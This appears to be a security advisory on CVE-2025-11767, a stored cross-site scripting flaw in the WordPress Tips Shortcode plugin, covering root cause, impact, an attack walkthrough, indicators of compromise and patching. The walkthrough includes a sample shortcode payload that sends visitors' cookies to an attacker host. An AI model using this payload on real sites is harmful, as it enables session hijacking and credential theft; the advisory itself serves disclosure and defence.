CVE-2025-11767: 
WordPress vulnerability analysis and mitigation

CVE-2025-11767 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tips Shortcode plugin for WordPress, affecting all versions up to and including 0.2.1. The flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the tip shortcode, which then execute in the browsers of any user visiting the affected page. It was disclosed on November 21, 2025, with the CVE assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping in the plugin's shortcode handler, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). Specifically, the vulnerable code resides in tips_shortcode.php at line 33, where user-supplied content passed to the tip shortcode is rendered without proper sanitization (Wordfence, Plugin Source). An attacker with at least contributor-level WordPress access can craft a post or page containing a malicious [tip] shortcode embedding JavaScript, which is stored in the database and executed in victims' browsers upon page load. No user interaction beyond visiting the page is required for the payload to execute.

Successful exploitation allows injected scripts to execute in the context of any user — including administrators — who visits a page containing the malicious shortcode, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the WordPress site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its users. While availability is not directly impacted, confidentiality and integrity are both affected at a low level per the CVSS assessment (Wordfence).

The vulnerability requires authenticated access at the contributor level or above, limiting the attack surface compared to unauthenticated flaws, but contributor accounts are commonly available on multi-author WordPress sites. No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify a WordPress site running the Tips Shortcode plugin version 0.2.1 or earlier, and obtain or register a contributor-level (or higher) account on the target site.
2. Craft malicious shortcode: Compose a WordPress post or page containing a [tip] shortcode with an embedded JavaScript payload, e.g., [tip]<script>document.location='https://attacker.com/steal?c='+document.cookie</script>[/tip].
3. Publish content: Submit the post for publication or save it as a draft (contributor-level users can submit for review; editors/admins can publish directly). If the post is published or previewed by a higher-privileged user, the payload executes in their browser.
4. Payload execution: Any authenticated or unauthenticated user visiting the page with the injected shortcode will have the malicious script execute in their browser, enabling session cookie theft, credential harvesting, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing [tip] shortcode content with embedded <script> tags or encoded JavaScript.
• Database: WordPress wp_posts table entries containing [tip] shortcode with suspicious HTML/JavaScript content in post_content fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Tips Shortcode plugin output; potential exfiltration of cookie or session data.
• File System: No direct file system artifacts expected for this stored XSS, but review plugin files in wp-content/plugins/tips-shortcode/ for unauthorized modifications.

Site administrators should update the Tips Shortcode plugin to version 0.2.2 or later, which addresses the insufficient sanitization and output escaping issues (Wordfence). If an immediate update is not possible, consider disabling the plugin or restricting contributor-level access on the site until the patch is applied. Additionally, review existing posts and pages for any [tip] shortcode content containing suspicious scripts, and audit contributor accounts for unauthorized access.

The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published the initial advisory on November 21, 2025. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified for this moderate-severity plugin vulnerability (Wordfence).